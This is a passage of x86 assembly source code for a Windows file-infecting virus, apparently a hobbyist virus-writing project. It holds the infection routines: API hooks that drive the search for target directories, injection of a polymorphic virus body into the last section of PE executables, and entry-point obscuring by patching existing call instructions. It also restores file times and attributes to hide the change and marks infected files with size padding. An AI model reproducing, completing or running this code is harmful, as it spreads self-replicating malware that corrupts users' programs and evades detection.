  1665.     pushfd
  1666.     call    GetDelta                ; Get the correct Delta
  1667.     mov     esi,[esp+28h]
  1668.     call    HookNewPath             ; Looking for a new path and Find Files
  1669.     mov     eax,[@GetFileAttributesA+ebp]
  1670.     lea     edi,[@HookJumpF+ebp]    ; Set the next jump to the hooked api
  1671.     stosd
  1672.     popfd                           ; Pop registers
  1673.     popad
  1674.     push    20202020h
  1675. @HookJumpF      equ     $-4
  1676.     ret
  1677. HookGetFileAttributesA endp
  1678.  
  1679. ;#################################################################
  1680. ;# Hook for SearchPathA
  1681. ;#################################################################
  1682. HookSearchPathA proc
  1683.     pushad                          ; Save registes
  1684.     pushfd
  1685.     call    GetDelta                ; Get the correct Delta
  1686.     mov     esi,[esp+28h]
  1687.     call    HookNewPath             ; Looking for a new path and Find Files
  1688.     mov     eax,[@SearchPathA+ebp]
  1689.     lea     edi,[@HookJumpG+ebp]    ; Set the next jump to the hooked api
  1690.     stosd
  1691.     popfd                           ; Pop registers
  1692.     popad
  1693.     push    20202020h
  1694. @HookJumpG      equ     $-4
  1695.     ret
  1696. HookSearchPathA endp
  1697.  
  1698. ;#################################################################
  1699. ;# Hook New Path
  1700. ;#  In: esi->StringWithPath
  1701. ;#  Out: (eax not zero) Error: eax=00h
  1702. ;#################################################################
  1703. HookNewPath proc
  1704.     call    GetPath                 ; Just give a new path
  1705.     or      eax,eax                 ; If not correct path... skip it
  1706.     jz      HookNew@1
  1707.     lea     esi,[@PathOne+ebp]
  1708.     push    esi                     ; Get the actual Dir
  1709.     push    MAX_PATH
  1710.     call    [@GetCurrentDirectoryA+ebp]
  1711.     or      eax,eax
  1712.     jz      HookNew@1
  1713.     lea     esi,[@PathTwo+ebp]      ; Change to the new path
  1714.     push    esi
  1715.     call    [@SetCurrentDirectoryA+ebp]
  1716.     or      eax,eax
  1717.     jz      HookNew@1
  1718.     call    LoadSfcLibrary          ; Check if Sfc is present and load it
  1719.     mov     edi,05h
  1720.     call    FindDirectory           ; And find more new files
  1721.     mov     eax,[@SfcIsFileProtected+ebp]
  1722.     or      eax,eax
  1723.     jz      HookNew@2
  1724.     lea     edi,[@SfcN+ebp]         ; Free the Sfc library
  1725.     call    FreeNewLibrary
  1726. HookNew@2:
  1727.     lea     esi,[@PathOne+ebp]      ; Well, time to come back to the old dir
  1728.     push    esi
  1729.     call    [@SetCurrentDirectoryA+ebp]
  1730. HookNew@1:
  1731.     ret
  1732. HookNewPath endp
  1733.  
  1734. ;#################################################################
  1735. ;# Get Path
  1736. ;#  In: esi->StringWithPath
  1737. ;#  Out: (eax not zero) Error: eax=00h
  1738. ;#################################################################
  1739. GetPath proc
  1740.     or      esi,esi                 ; Check the null pointer
  1741.     jz      GetPath@2
  1742.     mov     edi,esi                 ; Get the String long
  1743.     call    GetStringLong
  1744.     mov     ecx,eax
  1745.     lea     edi,[@PathTwo+ebp]
  1746.     push    eax                     ; Set some registers and copy
  1747.     push    edi                     ;  the new path string to a buffer
  1748.     cld
  1749.     rep     movsb
  1750.     pop     edi
  1751.     pop     ecx
  1752.     add     edi,ecx
  1753. GetPath@1:
  1754.     dec     edi                     ; Looking for a \ in String
  1755.     dec     eax
  1756.     jz      GetPath@2
  1757.     cmp     byte ptr[edi],'\'
  1758.     jnz     GetPath@1
  1759.     mov     ax,'\'                  ; If found patch it with final zero
  1760.     stosw
  1761.     ret                             ; Finish without error
  1762. GetPath@2:
  1763.     xor     eax,eax                 ; Oh... :( an error
  1764.     ret
  1765. GetPath endp
  1766.  
  1767. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1768. ;#################################################################
  1769. ;# Virus Core Functions
  1770. ;#################################################################
  1771. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1772.  
  1773. ;#################################################################
  1774. ;# Create Clean Copy
  1775. ;#  In: No Input
  1776. ;#  Out: (eax not zero) Error: eax=00h
  1777. ;#################################################################
  1778. CreateCleanCopy proc
  1779.     push    edi esi edx             ; Save register
  1780.     push    @VirusBodySize
  1781.     push    GPTR
  1782.     call    [@GlobalAlloc+ebp]      ; Get some memory free space
  1783.     or      eax,eax
  1784.     jz      CreateClean@1
  1785.     mov     [@VirusBuffer+ebp],eax
  1786.     mov     edi,eax
  1787.     lea     esi,[@VirusBodyBegin+ebp]
  1788.     mov     ecx,@VirusBodySize
  1789.     cld
  1790.     rep     movsb                   ; Move our virus body to memory reserved
  1791.     xor     eax,eax
  1792.     inc     eax
  1793. CreateClean@1:
  1794.     pop     edx esi edi             ; If not memory skip it now!
  1795.     ret
  1796. CreateCleanCopy endp
  1797.  
  1798. ;#################################################################
  1799. ;# Delete Clean Copy
  1800. ;#  In: No Input
  1801. ;#  Out: (eax zero) Error: eax not zero
  1802. ;#################################################################
  1803. DeleteCleanCopy proc
  1804.     push    [@VirusBuffer+ebp]      ; Just free the allocated memory
  1805.     call    [@GlobalFree+ebp]
  1806.     ret
  1807. DeleteCleanCopy endp
  1808.  
  1809. ;#################################################################
  1810. ;# Infect File
  1811. ;#  In: @FindData @FileHandle
  1812. ;#  Out: eax=01h Error: eax=00h
  1813. ;#################################################################
  1814. InfectFile proc
  1815.     push    ebx edi
  1816.     mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
  1817.     add     eax,@VirusSize
  1818.     mov     ecx,[@AlignFactor+ebp]
  1819.     call    Align                   ; Get the new host size
  1820.     mov     ecx,75h
  1821.     call    Align                   ; And add a size padding
  1822.     mov     [@NewHostSize+ebp],eax  ; Save the final aligned size
  1823.     mov     edi,eax
  1824.     mov     eax,[@OpenHandle+ebp]
  1825.     xor     esi,esi
  1826.     call    FileMapping             ; Make a map of file
  1827.     or      eax,eax
  1828.     jz      Infect@1
  1829.     mov     [@MapHandle+ebp],eax
  1830.     call    MapViewOfFile           ; And map it into memory
  1831.     or      eax,eax
  1832.     jz      Infect@2
  1833.     mov     [@FileAddr+ebp],eax
  1834.     call    DoInfectStuff           ; Time to infect file
  1835.     or      eax,eax
  1836.     jz      Infect@3                ; If error, trunc file and go out
  1837.     mov     eax,[@FileAddr+ebp]
  1838.     call    UnmapViewOfFile         ; Unmap file from memory
  1839.     mov     eax,[@MapHandle+ebp]
  1840.     call    CloseHandle             ; Close map
  1841.     mov     ebx,[@NewHostSize+ebp]
  1842.     call    TruncFile               ; Trunc file to the new size
  1843.     lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
  1844.     push    eax
  1845.     sub     eax,08h                 ; Recover the old file time
  1846.     push    eax
  1847.     sub     eax,08h
  1848.     push    eax
  1849.     push    [@OpenHandle+ebp]
  1850.     call    [@SetFileTime+ebp]
  1851.     mov     eax,[@OpenHandle+ebp]   ; Close file
  1852.     call    CloseHandle
  1853.     mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
  1854.     push    eax                     ; Recover the old file attributes
  1855.     lea     esi,[@FindData.WFD_szFileName+ebp]
  1856.     push    esi
  1857.     call    [@SetFileAttributesA+ebp]
  1858.     xor     eax,eax
  1859.     inc     eax                     ; Fine! we have infected one file
  1860.     pop     edi ebx
  1861.     ret
  1862. Infect@3:
  1863.     mov     eax,[@FileAddr+ebp]     ; Ups! error... be smart and unmap file
  1864.     call    UnmapViewOfFile
  1865. Infect@2:
  1866.     mov     eax,[@MapHandle+ebp]    ; Close map of file
  1867.     call    CloseHandle
  1868.     mov     ebx,[@NewHostSize+ebp]
  1869.     call    TruncFile               ; Trunc file to the old file size
  1870. Infect@1:
  1871.     lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
  1872.     push    eax
  1873.     sub     eax,08h
  1874.     push    eax                     ; Set file time
  1875.     sub     eax,08h
  1876.     push    eax
  1877.     push    [@OpenHandle+ebp]
  1878.     call    [@SetFileTime+ebp]
  1879.     mov     eax,[@OpenHandle+ebp]   ; Close file handle
  1880.     call    CloseHandle
  1881.     mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
  1882.     push    eax                     ; Recover the old file attributes
  1883.     lea     esi,[@FindData.WFD_szFileName+ebp]
  1884.     push    esi
  1885.     call    [@SetFileAttributesA+ebp]
  1886.     xor     eax,eax                 ; Error... try again
  1887.     pop     edi ebx
  1888.     ret
  1889. InfectFile endp
  1890.  
  1891. ;#################################################################
  1892. ;# Patch Virus Entry Point
  1893. ;#  In: No Input
  1894. ;#  Out: No Output
  1895. ;#################################################################
  1896. PatchVirusEntryPoint proc
  1897.     lea     edi,[@ReturnHost+ebp]   ; Let's change virus entry point
  1898.     mov     eax,[@DefaultVirusBegin+ebp]
  1899.     stosd
  1900.     mov     edi,eax
  1901.     mov     ebx,[@CallType+ebp]
  1902.     or      ebx,ebx
  1903.     jz      PatchVirus@1
  1904.     mov     eax,0FFh                ; If masm call insert "inc [esp]"
  1905.     stosb
  1906.     mov     eax,2404h
  1907.     stosw
  1908. PatchVirus@1:
  1909.     mov     eax,25FFh               ; Insert jmp [@offset api]
  1910.     stosw
  1911.     mov     eax,[@EpoCall+ebp]
  1912.     stosd  
  1913.     ret
  1914. PatchVirusEntryPoint endp
  1915.  
  1916. ;#################################################################
  1917. ;# Do Epo Stuff
  1918. ;#  In: ebx=@FileAddr
  1919. ;#  Out: eax=01h Error: eax=00h
  1920. ;#################################################################
  1921. DoEpoStuff proc
  1922.     pushad
  1923.     call    SetEpoSeh
  1924.     mov     esp,[esp+08h]
  1925.     jmp     ResetEpoSeh             ; Set Seh in Epo process
  1926. SetEpoSeh:                              ;  cos we need handle page faults
  1927.     xor     eax,eax
  1928.     push    dword ptr fs:[eax]
  1929.     mov     fs:[eax],esp
  1930.     mov     esi,[ebx+3Ch]
  1931.     mov     edi,ebx                 ; Save the FileAddr in ebx
  1932.     add     edi,esi
  1933.     mov     esi,edi
  1934.     add     esi,78h                 ; Go to the image section headers
  1935.     mov     eax,[edi+74h]
  1936.     shl     eax,03h
  1937.     add     esi,eax
  1938.     movzx   ecx,word ptr[edi+06h]   ; Take the number of sections
  1939.     mov     edx,[edi+28h]           ; Take the entry point of host
  1940. DoEpo@1:
  1941.     mov     eax,[esi+0Ch]
  1942.     cmp     edx,eax
  1943.     jc      DoEpo@2
  1944.     add     eax,[esi+08h]           ; Iteratate till we have the code
  1945.     cmp     edx,eax                 ;  section (using the entry point)
  1946.     jc      DoEpo@3
  1947. DoEpo@2:
  1948.     add     esi,28h                 ; Try with other section
  1949.     loop    DoEpo@1
  1950.     jmp     ResetEpoSeh             ; No code section... ups! go out
  1951. DoEpo@3:
  1952.     sub     edx,[esi+0Ch]
  1953.     mov     ecx,[esi+10h]
  1954.     sub     ecx,edx                 ; Set in ecx a counter of bytes
  1955.     jc      ResetEpoSeh
  1956.     add     edx,[esi+14h]
  1957.     add     edx,ebx                 ; Make edx point to the code section
  1958.     push    esi
  1959.     mov     esi,edx
  1960.     xor     eax,eax
  1961.     mov     [@PatchOffset+ebp],eax  ; Make offset zero at start
  1962. DoEpo@4:
  1963.     lodsw
  1964.     cmp     ax,15FFh                ; Is a Masm generated call?
  1965.     jz      CheckMasm
  1966.     cmp     al,0E8h                 ; Is a Tasm generated call?
  1967.     jz      CheckTasm
  1968.     dec     esi
  1969.     loop    DoEpo@4                 ; Go on and check it all till the end
  1970.     jmp     DoEpoError@1            ; No calls found...error
  1971. CheckMasm:
  1972.     lodsd                           ; Take the offset next to call
  1973.     call    IsImportTable           ;  and check if points to the Imports
  1974.     or      eax,eax
  1975.     jnz     PatchMasm               ; Great!... patch it now
  1976.     sub     esi,05h
  1977.     jmp     DoEpo@4                 ; Nop, go on
  1978. CheckTasm:
  1979.     dec     esi
  1980.     lodsd                           ; Take the relative next to call
  1981.     push    esi
  1982.     add     esi,eax
  1983.     call    IsCodeSection           ; Is in code section?
  1984.     or      eax,eax
  1985.     jz      CheckTasmError
  1986.     lodsw
  1987.     cmp     ax,25FFh                ; Is a jump?
  1988.     jz      PatchTasm               ; Fine!... go and patch it
  1989. CheckTasmError:
  1990.     pop     esi
  1991.     sub     esi,04h
  1992.     jmp     DoEpo@4                 ; Nop, try again
  1993. PatchMasm:
  1994.     mov     [@OldEpoCall+ebp],eax   ; Save the offset of call
  1995.     sub     esi,06h
  1996.     mov     [@PatchOffset+ebp],esi
  1997.     xor     eax,eax
  1998.     inc     eax
  1999.     mov     [@OldCallType+ebp],eax
  2000.     call    GetRandom
  2001.     test    eax,01h                 ; Get a random number and
  2002.     jz      MakePatch               ;  randomize the patch offset
  2003.     inc     esi
  2004.     jmp     DoEpo@4
  2005. PatchTasm:
  2006.     lodsd
  2007.     mov     [@OldEpoCall+ebp],eax   ; Save the offset of call
  2008.     pop     esi
  2009.     sub     esi,05h
  2010.     mov     [@PatchOffset+ebp],esi
  2011.     xor     eax,eax
  2012.     mov     [@OldCallType+ebp],eax
  2013.     call    GetRandom               ; Get a random number and
  2014.     test    eax,01h                 ;  randomize the patch offset
  2015.     jz      MakePatch
  2016.     inc     esi
  2017.     jmp     DoEpo@4
  2018. MakePatch:
  2019.     call    PatchCodeSection        ; Patch the instruction with a call to virus
  2020.     pop     esi
  2021.     xor     eax,eax
  2022.     pop     dword ptr fs:[eax]      ; Reset the Epo Seh
  2023.     pop     eax
  2024.     popad
  2025.     xor     eax,eax
  2026.     inc     eax
  2027.     ret                             ; Bye!!!
  2028. DoEpoError@1:
  2029.     mov     esi,[@PatchOffset+ebp]  ; Check if we have found an offset
  2030.     or      esi,esi
  2031.     jnz     MakePatch               ; Yep... go and patch it!
  2032.     pop     esi                     ; Ups... error, pop registers and skip
  2033. ResetEpoSeh:
  2034.     xor     eax,eax
  2035.     pop     dword ptr fs:[eax]      ; Reset the Epo Seh... we made a page fault
  2036.     pop     eax
  2037.     popad
  2038.     xor     eax,eax
  2039.     ret
  2040. DoEpoStuff endp
  2041.  
  2042. ;#################################################################
  2043. ;# Is Code Section
  2044. ;#  In: esi->File Section
  2045. ;#  Out: eax=01h Error: eax=00h
  2046. ;#################################################################
  2047. IsCodeSection proc
  2048.     push    edi ecx
  2049.     mov     edi,[esp+10h]           ; Look in stack for section pointer
  2050.     mov     ecx,[edi+14h]
  2051.     add     ecx,ebx
  2052.     cmp     esi,ecx                 ; Check if esi is inside code section
  2053.     jc      IsCode@1
  2054.     add     ecx,[edi+10h]
  2055.     cmp     esi,ecx
  2056.     jnc     IsCode@1
  2057.     xor     eax,eax                 ; Ok, no problem... go on
  2058.     inc     eax
  2059.     pop     ecx edi
  2060.     ret
  2061. IsCode@1:
  2062.     xor     eax,eax                 ; Agh... try again
  2063.     pop     ecx edi
  2064.     ret
  2065. IsCodeSection endp
  2066.  
  2067. ;#################################################################
  2068. ;# Is Import Table
  2069. ;#  In: eax=offset in File
  2070. ;#  Out: (eax not zero) Error: eax=00h
  2071. ;#################################################################
  2072. IsImportTable proc
  2073.     pushad                          ; Save registers
  2074.     mov     edi,ebx
  2075.     mov     edx,eax
  2076.     add     edi,[ebx+3Ch]           ; Go to PE header
  2077.     mov     esi,edi
  2078.     add     esi,78h
  2079.     mov     eax,[edi+74h]
  2080.     shl     eax,03h
  2081.     add     esi,eax                 ; Go to the section headers
  2082.     movzx   ecx,word ptr[edi+06h]
  2083.     sub     edx,[edi+34h]           ; Make rva address
  2084.     push    edx
  2085.     mov     edx,[edi+80h]           ; Get the imports rva
  2086.     or      edx,edx
  2087.     jz      IsImport@4
  2088. IsImport@1:
  2089.     mov     eax,[esi+0Ch]           ; Loop till get the import section
  2090.     cmp     edx,eax
  2091.     jc      IsImport@2
  2092.     add     eax,[esi+08h]
  2093.     cmp     edx,eax
  2094.     jc      IsImport@3
  2095. IsImport@2:
  2096.     add     esi,28h                 ; Try with other section header
  2097.     loop    IsImport@1
  2098.     jmp     IsImport@4              ; No more sections? ups...
  2099. IsImport@3:
  2100.     pop     edx
  2101.     cmp     edx,eax                 ; Look if our rva points inside
  2102.     jnc     IsImport@5              ;  the import section
  2103.     sub     eax,[esi+08h]
  2104.     cmp     edx,eax
  2105.     jc      IsImport@5
  2106.     sub     edx,[esi+0Ch]
  2107.     add     edx,[esi+14h]           ; Make rva->raw to import section
  2108.     add     edx,ebx
  2109.     mov     ecx,[edx]
  2110.     mov     eax,[esi+0Ch]           ; Check that the new rva points inside imports
  2111.     cmp     ecx,eax
  2112.     jc      IsImport@6
  2113.     add     eax,[esi+08h]
  2114.     cmp     ecx,eax
  2115.     jc      IsImport@7
  2116. IsImport@6:
  2117.     mov     eax,[@KernelBase+ebp]
  2118.     cmp     ecx,eax                 ; Check if points inside the kernel
  2119.     jc      IsImport@5
  2120.     mov     edx,[eax+3Ch]
  2121.     add     edx,eax
  2122.     add     eax,[edx+50h]
  2123.     cmp     ecx,eax
  2124.     jnc     IsImport@5
  2125. IsImport@7:
  2126.     popad                           ; Yep! we got it
  2127.     ret
  2128. IsImport@4:
  2129.     pop     edx
  2130. IsImport@5:
  2131.     popad
  2132.     xor     eax,eax                 ; Sth gone wrong... bad luck
  2133.     ret
  2134. IsImportTable endp
  2135.  
  2136. ;#################################################################
  2137. ;# Check Kernel Imports
  2138. ;#  In: edi->PEHeader ebx->@FileAddr
  2139. ;#  Out: eax=01h Error: eax=00h
  2140. ;#################################################################
  2141. CheckKernelImports proc
  2142.     mov     esi,edi                 ; Go to the sections header
  2143.     mov     eax,[edi+74h]
  2144.     shl     eax,03h
  2145.     add     esi,78h
  2146.     add     esi,eax
  2147.     movzx   ecx,word ptr[edi+06h]   ; Take the number of sections
  2148.     mov     edx,[edi+80h]           ; Look for import section (with rva)
  2149.     or      edx,edx
  2150.     jz      CheckKernel@1
  2151. CheckKernel@2:
  2152.     mov     eax,[esi+0Ch]
  2153.     cmp     edx,eax
  2154.     jc      CheckKernel@3           ; Go on, and try with the next section
  2155.     add     eax,[esi+08h]
  2156.     cmp     edx,eax
  2157.     jc      CheckKernel@4           ; Is the Import section, go on
  2158. CheckKernel@3:
  2159.     add     esi,28h                 ; Try with the next one
  2160.     loop    CheckKernel@2
  2161.     jmp     CheckKernel@1           ; No more sections... error
  2162. CheckKernel@4:
  2163.     sub     edx,[esi+0Ch]
  2164.     add     edx,[esi+14h]
  2165.     add     edx,ebx                 ; Make rva->raw of import section
  2166. CheckKernel@5:
  2167.     mov     eax,[edx+0Ch]           ; Take the rva of import api name
  2168.     or      eax,eax                 ; Is the last one... agh!
  2169.     jz      CheckKernel@1
  2170.     mov     ecx,[esi+0Ch]
  2171.     cmp     eax,ecx
  2172.     jc      CheckKernel@6
  2173.     add     ecx,[esi+08h]           ; Check the rva points inside the imports
  2174.     cmp     eax,ecx
  2175.     jnc     CheckKernel@6
  2176.     sub     eax,[esi+0Ch]
  2177.     add     eax,[esi+14h]           ; Make rva->raw of import section
  2178.     add     eax,ebx
  2179.     mov     ecx,[eax]               ; Take the name and check it's Kernel32
  2180.     or      ecx,20202020h
  2181.     cmp     ecx,'nrek'
  2182.     jnz     CheckKernel@6
  2183.     mov     ecx,[eax+04h]
  2184.     or      ecx,20202020h
  2185.     cmp     ecx,'23le'
  2186.     jz      CheckKernel@7           ; Well... all under control
  2187. CheckKernel@6:
  2188.     add     edx,14h
  2189.     jmp     CheckKernel@5           ; Nop... try another selector
  2190. CheckKernel@7:
  2191.     xor     eax,eax
  2192.     inc     eax                     ; The file has kernel imports
  2193.     ret
  2194. CheckKernel@1:
  2195.     xor     eax,eax                 ; The file has not kernel imports
  2196.     ret
  2197. CheckKernelImports endp
  2198.  
  2199. ;#################################################################
  2200. ;# Patch Code Section
  2201. ;#  In: esi=offset to Patch
  2202. ;#  Out: No Output
  2203. ;#################################################################
  2204. PatchCodeSection proc
  2205.     mov     edi,esi
  2206.     mov     eax,0E8h
  2207.     stosb                           ; Insert a call in code section
  2208.     mov     esi,[esp+04h]
  2209.     mov     ecx,[@OldDftVirusBegin+ebp]
  2210.     mov     edx,edi
  2211.     sub     edx,ebx
  2212.     sub     edx,[esi+14h]           ; Make it points to virus body
  2213.     add     edx,[esi+0Ch]
  2214.     add     edx,[@OldImageBase+ebp] ; We use a relative call
  2215.     sub     ecx,edx
  2216.     sub     ecx,04h
  2217.     mov     eax,ecx
  2218.     stosd                           ; Patch it now!
  2219.     ret
  2220. PatchCodeSection endp
  2221.  
  2222. ;#################################################################
  2223. ;# Do Infect Stuff
  2224. ;#  In: eax->@FileAddr
  2225. ;#  Out: eax=01h Error: eax=00h
  2226. ;#################################################################
  2227. DoInfectStuff proc
  2228.     push    eax
  2229.     mov     edi,eax
  2230.     add     edi,[eax+3Ch]           ; Go to the Portable Exe header
  2231.     mov     ebx,eax
  2232.     call    CheckKernelImports      ; Check we have kernel imports
  2233.     or      eax,eax
  2234.     jz      DoInfectStuff@7
  2235.     mov     esi,edi
  2236.     add     esi,78h                 ; Jump the Optional header
  2237.     mov     eax,[edi+74h]
  2238.     shl     eax,03h
  2239.     add     esi,eax                 ; And the directory entry
  2240.     movzx   ecx,word ptr[edi+06h]   ; Get the number of sections
  2241.     xor     edx,edx
  2242.     mov     ebx,esi
  2243. DoInfectStuff@2:
  2244.     mov     eax,[esi+14h]
  2245.     cmp     edx,eax                 ; Looking for the last section
  2246.     ja      DoInfectStuff@1
  2247.     mov     edx,eax
  2248.     mov     ebx,esi
  2249. DoInfectStuff@1:
  2250.     add     esi,28h                 ; Nop, go to the next one
  2251.     loop    DoInfectStuff@2
  2252.     mov     esi,ebx
  2253.     mov     eax,[edi+34h]           ; Save the host image base
  2254.     mov     [@OldImageBase+ebp],eax
  2255.     mov     ebx,[esi+10h]
  2256.     mov     eax,[esi+24h]
  2257.     and     eax,10000000h           ; Check if the section is Shareable
  2258.     jnz     DoInfectStuff@7
  2259.     mov     eax,[@AlignFactor+ebp]
  2260.     shl     eax,01h
  2261.     mov     ecx,[@FindData.WFD_nFileSizeLow+ebp]
  2262.     sub     ecx,eax
  2263.     mov     eax,edx                 ; Check if the File have overloads
  2264.     add     eax,ebx
  2265.     cmp     eax,ecx
  2266.     jc      DoInfectStuff@7         ; Humm... an Instalation kit may be
  2267.     add     edx,ebx                 ;  skip this kind of file
  2268.     add     ebx,[esi+0Ch]           ; Calculate the virus default entry point
  2269.     add     ebx,[@OldImageBase+ebp] ;  and save it (the EP without relocations)
  2270.     mov     [@OldDftVirusBegin+ebp],ebx
  2271.     call    CreateCleanCopy         ; Create a clean copy of virus body
  2272.     or      eax,eax
  2273.     jz      DoInfectStuff@7
  2274.     pop     ebx                     ; Pop the File Address
  2275.     push    ebx
  2276.     call    DoEpoStuff              ; Make some Epo cheking / patching etc...
  2277.     or      eax,eax
  2278.     jz      DoInfectStuff@8         ; Error... host not valid
  2279.     push    esi edi
  2280.     mov     edi,[@VirusBuffer+ebp]
  2281.     add     edi,@DeltaCritical      ; Set some critical vars of new virus
  2282.     mov     eax,[@OldImageBase+ebp]
  2283.     stosd
  2284.     mov     eax,[@OldDftVirusBegin+ebp]
  2285.     stosd
  2286.     mov     eax,[@OldEpoCall+ebp]
  2287.     stosd                           ; Finish!
  2288.     mov     eax,[@OldCallType+ebp]
  2289.     stosd
  2290.     mov     edi,ebx
  2291.     add     edi,edx                 ; edi points to last section, to insert our virus
  2292.     mov     eax,9C60h               ; Patch in new virus place some pushad/pushfd
  2293.     stosw
  2294.     mov     esi,[@VirusBuffer+ebp]  ; New virus clean copy
  2295.     mov     ecx,@VirusBodySize      ; Virus Body Size ;)
  2296.     push    ebp
  2297.     mov     ebp,[@OldDftVirusBegin+ebp]
  2298.     inc     ebp                     ; Offset (rva+image base) of new virus copy
  2299.     inc     ebp
  2300.     call    poly
  2301.     pop     ebp
  2302.     inc     ecx
  2303.     inc     ecx
  2304.     mov     [@NewVirusSize+ebp],ecx
  2305.     call    DeleteCleanCopy         ; Free all allocated memory
  2306.     pop     edi esi
  2307.     mov     eax,[esi+10h]
  2308.     add     eax,[@NewVirusSize+ebp]
  2309.     mov     ecx,[@AlignFactor+ebp]
  2310.     call    Align
  2311.     mov     [esi+10h],eax           ; Change the SizeOfRawData
  2312.     mov     [esi+08h],eax           ;  and the VirtualSize
  2313.     add     eax,[esi+0Ch]
  2314.     mov     [edi+50h],eax           ; Update the ImageSize
  2315.     or      [esi+24h],0E0000020h    ; Make section write/read/code/executable
  2316.     mov     ebx,[esi+0Ch]
  2317.     mov     ecx,[edi+74h]
  2318.     xchg    esi,edi
  2319.     add     esi,78h
  2320. DoInfectStuff@3:
  2321.     lodsd
  2322.     cmp     eax,ebx                 ; Make some changes in directory struct
  2323.     jnz     DoInfectStuff@4         ;  now the last section has diferent size
  2324.     mov     eax,[edi+10h]
  2325.     mov     [esi],eax
  2326.     jmp     DoInfectStuff@5
  2327. DoInfectStuff@4:
  2328.     lodsd
  2329.     loop    DoInfectStuff@3
  2330. DoInfectStuff@5:
  2331.     mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
  2332.     add eax,[@NewVirusSize+ebp]
  2333.     mov ecx,[@AlignFactor+ebp]
  2334.     call    Align
  2335.     mov ecx,75h                 ; Calculate the new size of host
  2336.     call    Align
  2337.     mov     ecx,eax
  2338.     mov     [@NewHostSize+ebp],eax
  2339.     pop     esi
  2340.     mov     edi,esi
  2341.     add     edi,[esi+3Ch]
  2342.     mov     eax,[edi+58h]
  2343.     or      eax,eax                 ; Check if the file have a valid CheckSum
  2344.     jz      DoInfectStuff@6         ; If not go out
  2345.     call    CheckSumMappedFile      ; If yes... recalculate a new one
  2346.     mov     [edi+58h],eax
  2347. DoInfectStuff@6:
  2348.     xor     eax,eax                 ; No problem, file infected!
  2349.     inc     eax
  2350.     ret
  2351. DoInfectStuff@8:
  2352.     call    DeleteCleanCopy         ; Free all allocated memory
  2353. DoInfectStuff@7:
  2354.     mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
  2355.     mov     ecx,71h
  2356.     call    Align                   ; Make different size padding with infected fails
  2357.     mov     ecx,eax
  2358.     mov     [@NewHostSize+ebp],eax
  2359.     pop     esi
  2360.     mov     edi,esi
  2361.     add     edi,[esi+3Ch]
  2362.     mov     eax,[edi+58h]
  2363.     or      eax,eax                 ; Check if the file have a valid CheckSum
  2364.     jz      DoInfectStuff@9  
  2365.     call    CheckSumMappedFile      ; If yes... recalculate a new one
  2366.     mov     [edi+58h],eax
  2367. DoInfectStuff@9:
  2368.     xor     eax,eax                 ; Ups... may be the next one
  2369.     ret
  2370. DoInfectStuff endp
  2371.  
  2372. ;#################################################################
  2373. ;# Is File Ok
  2374. ;#  In: @FindData @FileHandle
  2375. ;#  Out: eax=01h Error: eax=00h
  2376. ;#################################################################
  2377. IsFileOk proc
  2378.     push    ebx edi
  2379.     lea     esi,[@FindData.WFD_szFileName+ebp]
  2380.     call    CheckSfc                ; Check if Sfc is present
  2381.     or      eax,eax                 ; If yes take care of protected files
  2382.     jz      IsFile@1
  2383.     push    esi
  2384.     call    [@GetFileAttributesA+ebp]
  2385.     inc     eax
  2386.     jz      IsFile@1                ; Get the file attributes
  2387.     dec     eax
  2388.     mov     [@FindData.WFD_dwFileAttributes+ebp],eax
  2389.     push    FILE_ATTRIBUTE_NORMAL   ; And change them to normal attributes
  2390.     push    esi
  2391.     call    [@SetFileAttributesA+ebp]
  2392.     or      eax,eax
  2393.     jz      IsFile@1
  2394.     call    CreateFile              ; Create File with read write access
  2395.     inc     eax
  2396.     jz      IsFile@2
  2397.     dec     eax
  2398.     mov     [@OpenHandle+ebp],eax   ; Save the open handle
  2399.     xor     ebx,ebx
  2400.     push    ebx
  2401.     push    eax
  2402.     call    [@GetFileSize+ebp]      ; Get the size of file
  2403.     inc     eax
  2404.     jz      IsFile@3
  2405.     dec     eax
  2406.     mov     [@FindData.WFD_nFileSizeLow+ebp],eax
  2407.     cmp     eax,4000h
  2408.     jb      IsFile@3                ; Avoid little programs
  2409.     cmp     eax,03E80000h           ;  and huge also
  2410.     ja      IsFile@3
  2411.     push    eax
  2412.     mov     ecx,75h                 ; Using size padding we look
  2413.     xor     edx,edx                 ;  if the file had been infected
  2414.     div     ecx
  2415.     pop     eax
  2416.     or      edx,edx
  2417.     jz      IsFile@3
  2418.     mov     ecx,71h                 ; Using size padding we look
  2419.     xor     edx,edx                 ;  if the file had been fail infected
  2420.     div     ecx
  2421.     or      edx,edx
  2422.     jz      IsFile@3
  2423.     lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
  2424.     push    eax
  2425.     sub     eax,08h                 ; Take the file time and save it
  2426.     push    eax                     ;  for later use
  2427.     sub     eax,08h
  2428.     push    eax
  2429.     push    [@OpenHandle+ebp]
  2430.     call    [@GetFileTime+ebp]
  2431.     or      eax,eax
  2432.     jz      IsFile@3
  2433.     mov     eax,[@OpenHandle+ebp]
  2434.     mov     edi,[@FindData.WFD_nFileSizeLow+ebp]
  2435.     xor     esi,esi
  2436.     call    FileMapping             ; Create a Map of File
  2437.     or      eax,eax
  2438.     jz      IsFile@4
  2439.     mov     [@MapHandle+ebp],eax    ; Save map handle
  2440.     call    MapViewOfFile           ; And mapping it into memory
  2441.     or      eax,eax
  2442.     jz      IsFile@5
  2443.     mov     [@FileAddr+ebp],eax     ; Save the mapped file address
  2444.     call    DoCheckStuff            ; Let's look into file for check
  2445.     or      eax,eax
  2446.     jz      IsFile@6
  2447.     mov     eax,[@FileAddr+ebp]     ; File ok? go and unmap it...
  2448.     call    UnmapViewOfFile
  2449.     mov     eax,[@MapHandle+ebp]
  2450.     call    CloseHandle             ; Close handle and set eax
  2451.     xor     eax,eax                 ; The infection process will go on
  2452.     inc     eax
  2453.     pop     edi ebx
  2454.     ret
  2455. IsFile@6:
  2456.     mov     eax,[@FileAddr+ebp]     ; Unmapping the file
  2457.     call    UnmapViewOfFile
  2458. IsFile@5:
